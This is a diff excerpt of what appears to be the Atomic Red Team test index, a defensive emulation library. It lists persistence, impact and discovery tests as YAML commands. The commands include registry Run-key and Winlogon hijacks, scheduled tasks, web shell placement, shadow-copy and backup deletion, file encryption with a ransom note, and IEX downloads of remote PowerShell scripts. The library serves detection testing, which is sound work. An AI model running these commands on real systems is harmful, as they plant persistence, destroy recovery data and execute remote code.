supported_platforms: - linux executor: @@ -46391,7 +46414,7 @@ persistence: ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi -' + ' T1542.004: technique: created: '2020-10-20T00:05:48.790Z' @@ -46517,10 +46540,10 @@ persistence: executor: command: 'sudo defaults write com.apple.loginwindow LoginHook #{script} -' + ' cleanup_command: 'sudo defaults delete com.apple.loginwindow LoginHook -' + ' elevation_required: true name: sh T1108: @@ -46715,11 +46738,11 @@ persistence: command: 'REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}" -' + ' cleanup_command: 'REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f >nul 2>&1 -' + ' name: command_prompt - name: Reg Key RunOnce auto_generated_guid: 554cbd88-cde1-4b56-8168-0be552eed9eb @@ -46737,11 +46760,11 @@ persistence: command: 'REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}" -' + ' cleanup_command: 'REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: PowerShell Registry RunOnce @@ -46767,7 +46790,7 @@ persistence: cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignore -' + ' name: powershell elevation_required: true - name: Suspicious vbs file run from startup Folder @@ -46988,10 +47011,10 @@ persistence: ~/.ssh/authorized_keys); echo $ssh_authorized_keys > ~/.ssh/authorized_keys; fi; -' + ' cleanup_command: 'unset ssh_authorized_keys -' + ' T1053.005: technique: created: '2019-11-27T14:58:00.429Z' @@ -47089,7 +47112,7 @@ persistence: description: 'Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10. -' + ' supported_platforms: - windows input_arguments: @@ -47106,10 +47129,10 @@ persistence: elevation_required: false command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time} -' + ' cleanup_command: 'SCHTASKS /Delete /TN spawn /F >nul 2>&1 -' + ' - name: Scheduled task Remote auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd description: | @@ -47145,11 +47168,11 @@ persistence: command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time} -' + ' cleanup_command: 'SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F >nul 2>&1 -' + ' - name: Powershell Cmdlet Scheduled Task auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd description: | @@ -47171,7 +47194,7 @@ persistence: cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1 -' + ' - name: Task Scheduler via VBA auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3 description: | @@ -47188,7 +47211,7 @@ persistence: dependencies: - description: 'Microsoft #{ms_product} must be installed -' + ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -47199,7 +47222,7 @@ persistence: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" @@ -47212,7 +47235,7 @@ persistence: login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes. -' + ' supported_platforms: - windows executor: @@ -47224,7 +47247,7 @@ persistence: cleanup_command: 'Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1 -' + ' T1053: technique: id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 @@ -47360,7 +47383,7 @@ persistence: sets it as the screensaver so it will execute for persistence. Requires a reboot and logon. -' + ' supported_platforms: - windows input_arguments: @@ -47670,7 +47693,7 @@ persistence: description: 'Change Service registry ImagePath of a bengin service to a malicious file -' + ' supported_platforms: - windows input_arguments: @@ -47690,22 +47713,22 @@ persistence: dependencies: - description: 'The service must exist (#{weak_service_name}) -' + ' prereq_command: 'if (Get-Service #{weak_service_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'sc.exe create #{weak_service_name} binpath= "#{weak_service_path}" -' + ' executor: command: 'reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "#{malicious_service_path}" -' + ' cleanup_command: 'sc.exe delete #{weak_service_name} -' + ' name: command_prompt T1547.009: technique: @@ -47778,7 +47801,7 @@ persistence: #{shortcut_file_path} cleanup_command: 'del -f #{shortcut_file_path} >nul 2>&1 -' + ' name: command_prompt - name: Create shortcut to cmd in startup folders auto_generated_guid: cfdc954d-4bb0-4027-875b-a1893ce406f2 @@ -47879,10 +47902,10 @@ persistence: executor: command: 'sudo touch /Library/StartupItems/EvilStartup.plist -' + ' cleanup_command: 'sudo rm /Library/StartupItems/EvilStartup.plist -' + ' name: sh elevation_required: true T1542.001: @@ -48059,7 +48082,7 @@ persistence: description: 'This test creates a Systemd service unit file and enables it as a service. -' + ' supported_platforms: - linux input_arguments: @@ -48132,15 +48155,15 @@ persistence: dependencies: - description: 'System must be Ubuntu ,Kali OR CentOS. -' + ' prereq_command: 'if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ] || [ $(cat /etc/os-release | grep -i ''ID="centos"'') ]; then exit /b 0; else exit /b 1; fi; -' + ' get_prereq_command: 'echo Please run from Ubuntu ,Kali OR CentOS. -' + ' executor: name: bash elevation_required: true @@ -48577,13 +48600,13 @@ persistence: dependencies: - description: 'Microsoft Exchange SnapIn must be installed -' + ' prereq_command: 'Get-TransportAgent -TransportService FrontEnd -' + ' get_prereq_command: 'Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn -' + ' executor: command: | Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path} @@ -48795,7 +48818,7 @@ persistence: auto_generated_guid: 94500ae1-7e31-47e3-886b-c328da46872f description: 'Adds a command to the .bash_profile file of the current user -' + ' supported_platforms: - macos - linux @@ -48807,13 +48830,13 @@ persistence: executor: command: 'echo "#{command_to_add}" >> ~/.bash_profile -' + ' name: sh - name: Add command to .bashrc auto_generated_guid: 0a898315-4cfa-4007-bafe-33a4646d115f description: 'Adds a command to the .bashrc file of the current user -' + ' supported_platforms: - macos - linux @@ -48825,7 +48848,7 @@ persistence: executor: command: 'echo "#{command_to_add}" >> ~/.bashrc -' + ' name: sh T1078: technique: @@ -48994,10 +49017,10 @@ persistence: dependencies: - description: 'Web shell must exist on disk at specified location (#{web_shells}) -' + ' prereq_command: 'if (Test-Path #{web_shells}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{web_shells}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/b.jsp" -OutFile "#{web_shells}/b.jsp" @@ -49006,7 +49029,7 @@ persistence: executor: command: 'xcopy /I /Y #{web_shells} #{web_shell_path} -' + ' cleanup_command: | del #{web_shell_path}\b.jsp /q >nul 2>&1 del #{web_shell_path}\tests.jsp /q >nul 2>&1 @@ -49279,10 +49302,10 @@ persistence: dependencies: - description: 'Service binary must exist on disk at specified location (#{binary_path}) -' + ' prereq_command: 'if (Test-Path #{binary_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}" @@ -49315,10 +49338,10 @@ persistence: dependencies: - description: 'Service binary must exist on disk at specified location (#{binary_path}) -' + ' prereq_command: 'if (Test-Path #{binary_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}" @@ -49414,11 +49437,11 @@ persistence: command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force -' + ' cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore -' + ' name: powershell - name: Winlogon Userinit Key Persistence - PowerShell auto_generated_guid: fb32c935-ee2e-454b-8fa3-1c46b42e8dfb @@ -49437,11 +49460,11 @@ persistence: command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force -' + ' cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore -' + ' name: powershell - name: Winlogon Notify Key Logon Persistence - PowerShell auto_generated_guid: d40da266-e073-4e5a-bb8b-2b385023e5f9 @@ -49463,7 +49486,7 @@ persistence: cleanup_command: 'Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force -ErrorAction Ignore -' + ' name: powershell T1547.013: technique: @@ -49607,7 +49630,7 @@ impact: net.exe user #{user_account} #{new_password} cleanup_command: 'net.exe user #{user_account} /delete >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: Delete User - Windows @@ -49615,7 +49638,7 @@ impact: description: 'Deletes a user account to prevent access. Upon execution, run the command "net user" to verify that the new "AtomicUser" account was deleted. -' + ' supported_platforms: - windows input_arguments: @@ -49637,21 +49660,21 @@ impact: auto_generated_guid: 43f71395-6c37-498e-ab17-897d814a0947 description: 'This test will remove an account from the domain admins group -' + ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Requires the Active Directory module for powershell to be installed. -' + ' prereq_command: 'if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" -' + ' input_arguments: super_user: description: Account used to run the execution command (must include domain). @@ -49895,10 +49918,10 @@ impact: - description: 'Secure delete tool from Sysinternals must exist on disk at specified location (#{sdelete_exe}) -' + ' prereq_command: 'if (Test-Path #{sdelete_exe}) {exit 0} else {exit 1} -' + ' get_prereq_command: | Invoke-WebRequest "https://download.sysinternals.com/files/SDelete.zip" -OutFile "$env:TEMP\SDelete.zip" Expand-Archive $env:TEMP\SDelete.zip $env:TEMP\Sdelete -Force @@ -49928,7 +49951,7 @@ impact: executor: command: 'dd of=#{file_to_overwrite} if=#{overwrite_source} -' + ' name: bash T1486: technique: @@ -50008,7 +50031,7 @@ impact: auto_generated_guid: 7b8ce084-3922-4618-8d22-95f996173765 description: 'Uses gpg to encrypt a file -' + ' supported_platforms: - linux input_arguments: @@ -50032,10 +50055,10 @@ impact: dependencies: - description: 'Finds where gpg is located -' + ' prereq_command: 'which_gpg=`which gpg` -' + ' get_prereq_command: '' executor: name: bash @@ -50043,15 +50066,15 @@ impact: command: 'echo "#{pwd_for_encrypted_file}" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path} -' + ' cleanup_command: 'rm #{encrypted_file_path} -' + ' - name: Encrypt files using 7z (Linux) auto_generated_guid: 53e6735a-4727-44cc-b35b-237682a151ad description: 'Uses 7z to encrypt a file -' + ' supported_platforms: - linux input_arguments: @@ -50071,10 +50094,10 @@ impact: dependencies: - description: 'Finds where 7z is located -' + ' prereq_command: 'which_7z=`which 7z` -' + ' get_prereq_command: '' executor: name: bash @@ -50089,7 +50112,7 @@ impact: an inturruption authentication to target system. If root permissions are not available then attempts to encrypt data within user''s home directory. -' + ' supported_platforms: - linux input_arguments: @@ -50116,7 +50139,7 @@ impact: - description: 'Finds where ccencrypt and ccdecrypt is located and copies input file -' + ' prereq_command: | which_ccencrypt=`which ccencrypt` which_ccdecrypt=`which ccdecrypt` @@ -50130,14 +50153,14 @@ impact: #{user_input_file_path}; file #{user_input_file_path}.cpt; #{impact_command}; fi -' + ' cleanup_command: "if [[ $USER == \"root\" ]]; then mv #{cped_file_path} #{root_input_file_path}; else cp #{cped_file_path} #{user_input_file_path}; fi \n" - name: Encrypt files using openssl (Linux) auto_generated_guid: 142752dc-ca71-443b-9359-cf6f497315f1 description: 'Uses openssl to encrypt a file -' + ' supported_platforms: - linux input_arguments: @@ -50165,10 +50188,10 @@ impact: dependencies: - description: 'Finds where openssl is located -' + ' prereq_command: 'which_openssl=`which openssl` -' + ' get_prereq_command: '' executor: name: bash @@ -50191,10 +50214,10 @@ impact: elevation_required: true command: 'echo T1486 - Purelocker Ransom Note > %USERPROFILE%\Desktop\YOUR_FILES.txt -' + ' cleanup_command: 'del %USERPROFILE%\Desktop\YOUR_FILES.txt >nul 2>&1 -' + ' T1565: technique: external_references: @@ -50845,18 +50868,18 @@ impact: - description: 'Create volume shadow copy of C:\ . This prereq command only works on Windows Server or Windows 8. -' + ' prereq_command: 'if(!(vssadmin.exe list shadows | findstr "No items found that satisfy the query.")) { exit 0 } else { exit 1 } -' + ' get_prereq_command: 'vssadmin.exe create shadow /for=c: -' + ' executor: command: 'vssadmin.exe delete shadows /all /quiet -' + ' name: command_prompt elevation_required: true - name: Windows - Delete Volume Shadow Copies via WMI @@ -50869,7 +50892,7 @@ impact: executor: command: 'wmic.exe shadowcopy delete -' + ' name: command_prompt elevation_required: true - name: Windows - wbadmin Delete Windows Backup Catalog @@ -50882,7 +50905,7 @@ impact: executor: command: 'wbadmin delete catalog -quiet -' + ' name: command_prompt elevation_required: true - name: Windows - Disable Windows Recovery Console Repair @@ -50913,7 +50936,7 @@ impact: executor: command: 'Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();} -' + ' name: powershell elevation_required: true - name: Windows - Delete Backup Files @@ -50927,7 +50950,7 @@ impact: command: 'del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk -' + ' name: command_prompt elevation_required: true - name: Windows - wbadmin Delete systemstatebackup @@ -50936,13 +50959,13 @@ impact: technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled. -' + ' supported_platforms: - windows executor: command: 'wbadmin delete systemstatebackup -keepVersions:0 -' + ' name: command_prompt elevation_required: true - name: Windows - Disable the SR scheduled task @@ -50950,17 +50973,17 @@ impact: description: 'Use schtasks.exe to disable the System Restore (SR) scheduled task -' + ' supported_platforms: - windows executor: command: 'schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable -' + ' cleanup_command: 'schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /enable -' + ' name: powershell elevation_required: true T1491.001: @@ -51022,7 +51045,7 @@ impact: auto_generated_guid: 30558d53-9d76-41c4-9267-a7bd5184bed3 description: 'Downloads an image from a URL and sets it as the desktop wallpaper. -' + ' supported_platforms: - windows input_arguments: @@ -51389,7 +51412,7 @@ impact: executor: command: 'yes > /dev/null -' + ' name: bash T1565.003: technique: @@ -51607,10 +51630,10 @@ impact: executor: command: 'sc.exe stop #{service_name} -' + ' cleanup_command: 'sc.exe start #{service_name} >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: Windows - Stop service using net.exe @@ -51629,10 +51652,10 @@ impact: executor: command: 'net.exe stop #{service_name} -' + ' cleanup_command: 'net.exe start #{service_name} >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: Windows - Stop service by killing process @@ -51652,7 +51675,7 @@ impact: executor: command: 'taskkill.exe /f /im #{process_name} -' + ' name: command_prompt T1565.001: technique: @@ -51763,7 +51786,7 @@ impact: auto_generated_guid: ad254fa8-45c0-403b-8c77-e00b3d3e7a64 description: 'This test shuts down a Windows system. -' + ' supported_platforms: - windows input_arguments: @@ -51774,14 +51797,14 @@ impact: executor: command: 'shutdown /s /t #{timeout} -' + ' name: command_prompt elevation_required: true - name: Restart System - Windows auto_generated_guid: f4648f0d-bf78-483c-bafc-3ec99cd1c302 description: 'This test restarts a Windows system. -' + ' supported_platforms: - windows input_arguments: @@ -51792,14 +51815,14 @@ impact: executor: command: 'shutdown /r /t #{timeout} -' + ' name: command_prompt elevation_required: true - name: Restart System via `shutdown` - macOS/Linux auto_generated_guid: 6326dbc4-444b-4c04-88f4-27e94d0327cb description: 'This test restarts a macOS/Linux system. -' + ' supported_platforms: - macos - linux @@ -51811,14 +51834,14 @@ impact: executor: command: 'shutdown -r #{timeout} -' + ' name: bash elevation_required: true - name: Shutdown System via `shutdown` - macOS/Linux auto_generated_guid: 4963a81e-a3ad-4f02-adda-812343b351de description: 'This test shuts down a macOS/Linux system using a halt. -' + ' supported_platforms: - macos - linux @@ -51830,73 +51853,73 @@ impact: executor: command: 'shutdown -h #{timeout} -' + ' name: bash elevation_required: true - name: Restart System via `reboot` - macOS/Linux auto_generated_guid: 47d0b042-a918-40ab-8cf9-150ffe919027 description: 'This test restarts a macOS/Linux system via `reboot`. -' + ' supported_platforms: - macos - linux executor: command: 'reboot -' + ' name: bash elevation_required: true - name: Shutdown System via `halt` - Linux auto_generated_guid: 918f70ab-e1ef-49ff-bc57-b27021df84dd description: 'This test shuts down a Linux system using `halt`. -' + ' supported_platforms: - linux executor: command: 'halt -p -' + ' name: bash elevation_required: true - name: Reboot System via `halt` - Linux auto_generated_guid: 78f92e14-f1e9-4446-b3e9-f1b921f2459e description: 'This test restarts a Linux system using `halt`. -' + ' supported_platforms: - linux executor: command: 'halt --reboot -' + ' name: bash elevation_required: true - name: Shutdown System via `poweroff` - Linux auto_generated_guid: 73a90cd2-48a2-4ac5-8594-2af35fa909fa description: 'This test shuts down a Linux system using `poweroff`. -' + ' supported_platforms: - linux executor: command: 'poweroff -' + ' name: bash elevation_required: true - name: Reboot System via `poweroff` - Linux auto_generated_guid: 61303105-ff60-427b-999e-efb90b314e41 description: 'This test restarts a Linux system using `poweroff`. -' + ' supported_platforms: - linux executor: command: 'poweroff --reboot -' + ' name: bash elevation_required: true T1565.002: @@ -52067,10 +52090,10 @@ discovery: dependencies: - description: 'T1010.cs must exist on disk at specified location (#{input_source_code}) -' + ' prereq_command: 'if (Test-Path #{input_source_code}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{input_source_code}) -ErrorAction ignore | Out-Null Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1010/src/T1010.cs -OutFile "#{input_source_code}" @@ -52080,7 +52103,7 @@ discovery: #{output_file_name} cleanup_command: 'del /f /q /s #{output_file_name} >nul 2>&1 -' + ' name: command_prompt T1217: technique: @@ -52130,7 +52153,7 @@ discovery: description: 'Searches for Mozilla Firefox''s places.sqlite file (on Linux distributions) that contains bookmarks and lists any found instances to a text file. -' + ' supported_platforms: - linux input_arguments: @@ -52144,14 +52167,14 @@ discovery: cat #{output_file} 2>/dev/null cleanup_command: 'rm -f #{output_file} 2>/dev/null -' + ' name: sh - name: List Mozilla Firefox Bookmark Database Files on macOS auto_generated_guid: 1ca1f9c7-44bc-46bb-8c85-c50e2e94267b description: 'Searches for Mozilla Firefox''s places.sqlite file (on macOS) that contains bookmarks and lists any found instances to a text file. -' + ' supported_platforms: - macos input_arguments: @@ -52165,14 +52188,14 @@ discovery: cat #{output_file} 2>/dev/null cleanup_command: 'rm -f #{output_file} 2>/dev/null -' + ' name: sh - name: List Google Chrome Bookmark JSON Files on macOS auto_generated_guid: b789d341-154b-4a42-a071-9111588be9bc description: 'Searches for Google Chrome''s Bookmark file (on macOS) that contains bookmarks in JSON format and lists any found instances to a text file. -' + ' supported_platforms: - macos input_arguments: @@ -52186,7 +52209,7 @@ discovery: cat #{output_file} 2>/dev/null cleanup_command: 'rm -f #{output_file} 2>/dev/null -' + ' name: sh - name: List Google Chrome Bookmarks on Windows with powershell auto_generated_guid: faab755e-4299-48ec-8202-fc7885eb6545 @@ -52199,7 +52222,7 @@ discovery: command: 'Get-ChildItem -Path C:\Users\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force -' + ' name: powershell - name: List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt auto_generated_guid: 76f71e2f-480e-4bed-b61e-398fe17499d5 @@ -52211,7 +52234,7 @@ discovery: executor: command: 'where /R C:\Users\ Bookmarks -' + ' name: command_prompt - name: List Mozilla Firefox bookmarks on Windows with command prompt auto_generated_guid: 4312cdbc-79fc-4a9c-becc-53d49c734bc5 @@ -52223,7 +52246,7 @@ discovery: executor: command: 'where /R C:\Users\ places.sqlite -' + ' name: command_prompt - name: List Internet Explorer Bookmarks using the command prompt auto_generated_guid: 727dbcdb-e495-4ab1-a6c4-80c7f77aef85 @@ -52234,7 +52257,7 @@ discovery: executor: command: 'dir /s /b %USERPROFILE%\Favorites -' + ' name: command_prompt T1087.004: technique: @@ -52681,7 +52704,7 @@ discovery: description: 'Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed. -' + ' supported_platforms: - windows executor: @@ -52695,7 +52718,7 @@ discovery: description: 'Enumerate logged on users. Upon exeuction, logged on users will be displayed. -' + ' supported_platforms: - windows input_arguments: @@ -52706,7 +52729,7 @@ discovery: executor: command: 'query user /SERVER:#{computer_name} -' + ' name: command_prompt - name: Automated AD Recon (ADRecon) auto_generated_guid: 95018438-454a-468c-a0fa-59c800149b59 @@ -52724,18 +52747,18 @@ discovery: dependencies: - description: 'ADRecon must exist on disk at specified location (#{adrecon_path}) -' + ' prereq_command: 'if (Test-Path #{adrecon_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest -Uri "https://raw.githubusercontent.com/sense-of-security/ADRecon/38e4abae3e26d0fa87281c1d0c65cabd4d3c6ebd/ADRecon.ps1" -OutFile #{adrecon_path} -' + ' executor: command: 'Invoke-Expression #{adrecon_path} -' + ' cleanup_command: | Remove-Item #{adrecon_path} -Force -ErrorAction Ignore | Out-Null Get-ChildItem $env:TEMP -Recurse -Force | Where{$_.Name -Match "^ADRecon-Report-"} | Remove-Item -Force -Recurse @@ -52756,14 +52779,14 @@ discovery: dependencies: - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path}) -' + ' prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path} -' + ' executor: command: "#{adfind_path} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength @@ -52785,14 +52808,14 @@ discovery: dependencies: - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path}) -' + ' prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path} -' + ' executor: command: "#{adfind_path} -sc admincountdmp\n" name: command_prompt @@ -52812,14 +52835,14 @@ discovery: dependencies: - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path}) -' + ' prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path} -' + ' executor: command: "#{adfind_path} -f (objectcategory=person)\n" name: command_prompt @@ -52839,14 +52862,14 @@ discovery: dependencies: - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path}) -' + ' prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path} -' + ' executor: command: "#{adfind_path} -sc exchaddresses\n" name: command_prompt @@ -52855,13 +52878,13 @@ discovery: description: 'This test will enumerate the details of the built-in domain admin account -' + ' supported_platforms: - windows executor: command: 'net user administrator /domain -' + ' name: command_prompt - name: Enumerate Active Directory for Unconstrained Delegation auto_generated_guid: 46f8dbe9-22a5-4770-8513-66119c5be63b @@ -52884,7 +52907,7 @@ discovery: dependencies: - description: 'PowerShell ActiveDirectory Module must be installed -' + ' prereq_command: | Try { Import-Module ActiveDirectory -ErrorAction Stop | Out-Null @@ -52905,7 +52928,7 @@ discovery: command: 'Get-ADObject -LDAPFilter ''(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})'' -Server #{domain} -' + ' T1069.002: technique: external_references: @@ -52973,7 +52996,7 @@ discovery: executor: command: 'get-ADPrincipalGroupMembership #{user} | select name -' + ' name: powershell - name: Elevated group enumeration using net group (Domain) auto_generated_guid: 0afb5163-8181-432e-9405-4322710c0c37 @@ -52995,7 +53018,7 @@ discovery: execution, progress and info about each host in the domain being scanned will be displayed. -' + ' supported_platforms: - windows executor: @@ -53009,7 +53032,7 @@ discovery: machines in the domain. Upon execution, information about each machine will be displayed. -' + ' supported_platforms: - windows executor: @@ -53022,7 +53045,7 @@ discovery: description: 'takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed. -' + ' supported_platforms: - windows input_arguments: @@ -53040,39 +53063,39 @@ discovery: description: 'When successful, accounts that do not require kerberos pre-auth will be returned -' + ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Computer must be domain joined. -' + ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually. -' + ' - description: 'Requires the Active Directory module for powershell to be installed. -' + ' prereq_command: 'if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" -' + ' executor: name: powershell elevation_required: false command: 'get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE} -' + ' - name: Adfind - Query Active Directory Groups auto_generated_guid: 48ddc687-82af-40b7-8472-ff1e742e8274 description: | @@ -53089,10 +53112,10 @@ discovery: dependencies: - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path}) -' + ' prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path} @@ -53182,7 +53205,7 @@ discovery: executor: command: 'dsquery * -filter "(objectClass=trustedDomain)" -attr * -' + ' name: command_prompt - name: Windows - Discover domain trusts with nltest auto_generated_guid: 2e22641d-0498-48d2-b9ff-c71e496ccdbe @@ -53195,17 +53218,17 @@ discovery: dependencies: - description: 'nltest.exe from RSAT must be present on disk -' + ' prereq_command: 'WHERE nltest.exe >NUL 2>&1 -' + ' get_prereq_command: 'echo Sorry RSAT must be installed manually -' + ' executor: command: 'nltest /domain_trusts -' + ' name: command_prompt - name: Powershell enumerate domains and forests auto_generated_guid: c58fbc62-8a62-489e-8f2d-3565d7d96f30 @@ -53218,26 +53241,26 @@ discovery: dependencies: - description: 'PowerView PowerShell script must exist on disk -' + ' prereq_command: 'if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1" -OutFile "$env:TEMP\PowerView.ps1" -' + ' - description: 'RSAT PowerShell AD admin cmdlets must be installed -' + ' prereq_command: 'if ((Get-Command "Get-ADDomain" -ErrorAction Ignore) -And (Get-Command "Get-ADGroupMember" -ErrorAction Ignore)) { exit 0 } else { exit 1 } -' + ' get_prereq_command: 'Write-Host "Sorry RSAT must be installed manually" -' + ' executor: command: | Import-Module "$env:TEMP\PowerView.ps1" @@ -53262,14 +53285,14 @@ discovery: dependencies: - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path}) -' + ' prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path} -' + ' executor: command: "#{adfind_path} -f (objectcategory=organizationalUnit)\n" name: command_prompt @@ -53289,14 +53312,14 @@ discovery: dependencies: - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path}) -' + ' prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path} -' + ' executor: command: "#{adfind_path} -gcb -sc trustdmp\n" name: command_prompt @@ -53306,7 